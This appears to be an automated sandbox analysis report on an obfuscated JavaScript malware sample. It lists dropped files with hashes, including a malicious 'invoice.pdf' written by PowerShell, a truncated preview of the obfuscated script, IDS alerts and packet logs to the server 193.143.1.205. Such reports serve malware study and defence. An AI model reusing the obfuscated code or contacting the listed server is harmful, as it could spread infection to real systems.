Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\0b9843c9-4d6c-4ff9-8bb9-22e01c61ad29.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	E88AC53FE29BDF9402BCF11696989153
SHA1:	EC950FE1C9ABBFB3713A082FC43B451A7F1A708F
SHA-256:	EB1E6D431D432B488F5B17DD7806ED04260E4A37264F282367F02C466A98327C
SHA-512:	A08590B0F5C1F281046A9E9D03A481758991E8C9CA2A96B8F59644C182F9D6EC81E9834FEF46FB3B27074EE8605C5AED79AB30957AFCB7A2734AD5018CB5C502
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3eb29e1c-cb16-466a-a22c-09bdc555cd0f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/r2dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oYGZQeYIGNPB:T23mlind9i4ufFXpAXkrfUs0kWLxYGZQ
MD5:	146819D51F84206A458EB6ECD753E45C
SHA1:	06D225F91EA82B7B717EA412EE5CBFCE714C4A58
SHA-256:	49C9F7BB6A0AD5732B0E6E0D5115C48A58AEE071906E088785B1550CC1D8A10A
SHA-512:	0C3DAF1DAA627C34982592047878C8FEB7D8EAB7AA41B0417D5769444A5D6BA77A75D11B5FAECB02E08E34D25CC83977FA9685E1B8336EEA5F0D1A74CB413FA5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a5c6c5c3-d178-4caf-90d3-87ec0226ca25.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19147), with CRLF line terminators
Entropy (8bit):	4.877597521260141
TrID:
File name:	49441311255025245.js
File size:	22'410 bytes
MD5:	81edc70e2e915b831ee13d149e7e3bba
SHA1:	8cdb873232abf7772a7f8c9826dd3c78586f9d51
SHA256:	b4632404d1ea8bc63e762eeb507b01ddac82d3331e470305b3b0abc8c1f1f5d3
SHA512:	f6efb5ec87a0c1114b54814248184ba3391acd36972e4e152674beb762440075fb85d78c481cf9fe94f1a86499525a9c5075544ff32a4e31a33ec66e33d38480
SSDEEP:	384:tlehY53EgJq+kPGHNZGvit9XrB6kx5/mHU4WuuGgD:Ym3EgizsrB6kxtmHUCcD
TLSH:	DCA26681F06D8E119EC025F8A6824D6366B08568DF78507960D2ED065F92F3F66EBF33
File Content Preview:	function ejuafm(){uhcqawll=[1031,3079,5127,4103,2055,3072];var rpiuw=this[corchbusj+itsyivzmg+reonj+evigez+tnrvj+yyrma+prvnux+ggufg](this[iufalt+mubeq+mqareh+reonj+adknanx+corchbusj+ggufg][cwrdagbtz+reonj+tnrvj+itsyivzmg+ggufg+tnrvj+gtjaa+aqcmdm+fmczrdvr+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:17:35.365464+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T21:17:38.097698+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:17:34.567183971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:34.572086096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:34.572179079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:34.575486898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:34.580317974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.365354061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.365361929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.365374088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.365434885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.365442038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.365453005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.365458012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.365464926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.365463972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.365488052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.365494967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.365514040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.365535975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.370296955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.410238028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.411233902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.411242962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.411360025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.487708092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.487723112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.487735987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.487771988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.487844944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.487855911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.487895012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.488064051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.488075972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.488089085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.488099098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.488116026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.488142014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.488584042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.488601923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.488614082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.488626003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.488639116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.488646030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.488646030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.488682985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.489455938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.489475012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.489485025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.489495993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.489509106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.489511967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.489536047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.490247965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.490273952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.490284920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.490294933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.490330935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.541377068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.541389942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.541409016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.541418076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.541486979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.577786922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.577805042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.577857018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.608799934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.608814001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.608833075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.608845949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.608851910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.608859062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.608874083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.608895063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.608932018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.609081984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.609143019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.609155893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.609179020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.609185934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.609194040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.609215021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.609216928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.609229088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.609241962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.609250069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.609278917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.610182047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.610194921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.610208035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.610219955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.610235929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.610239983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.610249996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.610264063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.610275984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.610276937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.610301971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.610322952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.611031055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.611067057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.611110926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.611160040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.611174107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.611187935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.611202002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.611207008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.611216068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.611229897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.611238003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.611270905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.612081051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.612098932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.612112045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.612123013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.612132072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.612137079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.612149954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.612160921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.612164021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.612173080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.612195969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.612225056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.612947941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.612973928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.613003016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.620227098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.620237112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.631309032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.631340027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.631352901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.631365061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.631371975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.631386995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.631417036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.641129971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.651155949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.667948961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.667964935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.667978048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.667992115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.667995930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.668021917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.698662043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.698676109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.698718071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.730104923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730139971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730151892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.730163097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730178118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730190992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730211973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730215073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.730226994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730240107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730245113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.730253935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730269909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730273962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.730283976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730298996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730304003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.730319977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.730499983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730534077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.730885983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730897903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730920076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730931044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730941057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.730942965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.730957031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731010914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.731012106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.731041908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731054068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731066942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731080055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731091976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731096029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.731105089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731113911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.731144905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.731709957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731723070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731735945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731748104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731760979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731765985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.731772900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731779099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:17:35.731786966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731800079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731812954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:17:35.731816053 CET	49730	80	192.168.2.4	193.143.1.205
